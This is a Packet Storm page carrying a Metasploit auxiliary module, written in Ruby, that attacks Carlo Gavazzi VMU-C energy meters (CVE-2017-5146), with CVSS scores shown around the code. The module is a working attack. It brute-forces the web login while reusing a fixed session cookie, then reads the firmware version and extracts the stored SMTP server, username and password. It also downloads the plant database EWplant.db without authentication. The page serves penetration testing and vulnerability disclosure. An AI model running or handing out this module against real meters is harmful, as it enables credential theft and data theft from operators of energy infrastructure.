Lucene search

K
packetstormKarn Ganeshen, metasploit.comPACKETSTORM:181015
HistorySep 01, 2024 - 12:00 a.m.

Carlo Gavazzi Energy Meters Login Brute Force, Extract Info And Dump Plant Database

2024-09-0100:00:00
Karn Ganeshen, metasploit.com
packetstormsecurity.com
11
metasploit
brute force
remote code execution
login
energy meters
vulnerability
database
firmware
smtp configuration
authentication
access control
carlo gavazzi
information disclosure

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AI Score

7.1

Confidence

Low

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::AuthBrute  
include Msf::Auxiliary::Scanner  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Database',  
'Description' => %{  
This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db. This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions include - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17.  
},  
'References' =>  
[  
['URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-17-012-03'],  
['CVE', '2017-5146']  
],  
'Author' =>  
[  
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'  
],  
'License' => MSF_LICENSE,  
'DefaultOptions' =>  
{  
'SSL' => false,  
'VERBOSE' => true  
}))  
  
register_options(  
[  
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.  
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']),  
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'admin'])  
], self.class  
)  
end  
  
def run_host(ip)  
unless is_app_carlogavazzi?  
return  
end  
  
each_user_pass do |user, pass|  
do_login(user, pass)  
end  
ewplantdb  
end  
  
#  
# What's the point of running this module if the target actually isn't Carlo Gavazzi box  
#  
  
def is_app_carlogavazzi?  
begin  
res = send_request_cgi(  
{  
'uri' => '/',  
'method' => 'GET'  
}  
)  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")  
return false  
end  
  
good_response = (  
res &&  
res.code == 200 &&  
res.body.include?('Accedi') || res.body.include?('Gavazzi') || res.body.include?('styleVMUC.css') || res.body.include?('VMUC')  
)  
  
if good_response  
vprint_good("#{rhost}:#{rport} - Running Carlo Gavazzi VMU-C Web Management portal...")  
return true  
else  
vprint_error("#{rhost}:#{rport} - Application is not Carlo Gavazzi. Module will not continue.")  
return false  
end  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: opts[:service_name],  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
last_attempted_at: Time.now,  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::SUCCESSFUL,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
#  
# Brute-force the login page  
#  
  
def do_login(user, pass)  
vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")  
  
# Set Cookie - Box is vuln to Session Fixation. Generating a random cookie for use.  
randomvalue = Rex::Text.rand_text_alphanumeric(26)  
cookie_value = 'PHPSESSID=' + "#{randomvalue}"  
  
begin  
res = send_request_cgi(  
{  
'uri' => '/login.php',  
'method' => 'POST',  
'headers' => {  
'Cookie' => cookie_value  
},  
'vars_post' =>  
{  
'username' => user,  
'password' => pass,  
'Entra' => 'Sign+In' # Also - 'Entra' => 'Entra' # Seen to vary in some models  
}  
}  
)  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE  
vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")  
return :abort  
end  
  
good_response = (  
res &&  
res.code == 200 &&  
res.body.include?('Login in progress') || res.body.include?('Login in corso') &&  
res.body.match(/id="error" value="2"/) || (res.code == 302 && res.headers['Location'] == 'disclaimer.php')  
)  
  
if good_response  
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")  
  
# Extract firmware version  
begin  
res = send_request_cgi(  
{  
'uri' => '/setupfirmware.php',  
'method' => 'GET',  
'headers' => {  
'Cookie' => cookie_value  
}  
}  
)  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE  
vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")  
return :abort  
end  
  
if res && res.code == 200  
if res.body.include?('Firmware Version') || res.body.include?('Versione Firmware')  
fw_ver = res.body.match(/Ver. (.*)[$<]/)[1]  
  
if !fw_ver.nil?  
print_good("#{rhost}:#{rport} - Firmware version #{fw_ver}...")  
  
report_cred(  
ip: rhost,  
port: rport,  
service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver}]",  
user: user,  
password: pass  
)  
end  
end  
end  
  
#  
# Extract SMTP config  
#  
  
begin  
res = send_request_cgi(  
{  
'uri' => '/setupmail.php',  
'method' => 'GET',  
'headers' => {  
'Cookie' => cookie_value  
}  
}  
)  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE  
vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")  
return :abort  
end  
  
if (res && res.code == 200 && res.body.include?('SMTP'))  
dirty_smtp_server = res.body.match(/smtp" value=(.*)[$=]/)[1]  
dirty_smtp_user = res.body.match(/usersmtp" value=(.*)[$=]/)[1]  
dirty_smtp_pass = res.body.match(/passwordsmtp" value=(.*)[$=]/)[1]  
  
if (!dirty_smtp_server.nil?) && (!dirty_smtp_user.nil?) && (!dirty_smtp_pass.nil?)  
smtp_server = dirty_smtp_server.match(/[$"](.*)[$"]/)  
smtp_user = dirty_smtp_user.match(/[$"](.*)[$"]/)  
smtp_pass = dirty_smtp_pass.match(/[$"](.*)[$"]/)  
  
if (!smtp_server.nil?) && (!smtp_user.nil?) && (!smtp_pass.nil?)  
print_good("#{rhost}:#{rport} - SMTP server: #{smtp_server}, SMTP username: #{smtp_user}, SMTP password: #{smtp_pass}")  
end  
end  
else  
vprint_error("#{rhost}:#{rport} - SMTP config could not be retrieved. Check if the user has administrative privileges")  
end  
return :next_user  
else  
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")  
end  
end  
  
#  
# Dump EWplant.db database file - No authentication required  
#  
  
def ewplantdb  
begin  
res = send_request_cgi(  
{  
'uri' => '/cfg/EWplant.db',  
'method' => 'GET'  
}  
)  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE  
vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")  
return :abort  
end  
  
if res && res.code == 200  
print_status("#{rhost}:#{rport} - dumping EWplant.db")  
print_good("#{rhost}:#{rport} - EWplant.db retrieved successfully!")  
loot_name = 'EWplant.db'  
loot_type = 'SQLite_db/text'  
loot_desc = 'Carlo Gavazzi EM - EWplant.db'  
path = store_loot(loot_name, loot_type, datastore['RHOST'], res.body , loot_desc)  
print_good("#{rhost}:#{rport} - File saved in: #{path}")  
else  
vprint_error("#{rhost}:#{rport} - Failed to retrieve EWplant.db. Set a higher HTTPCLIENTTIMEOUT and try again. Else, check if target is running vulnerable version.?")  
return  
end  
end  
end  
`

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AI Score

7.1

Confidence

Low

Related for PACKETSTORM:181015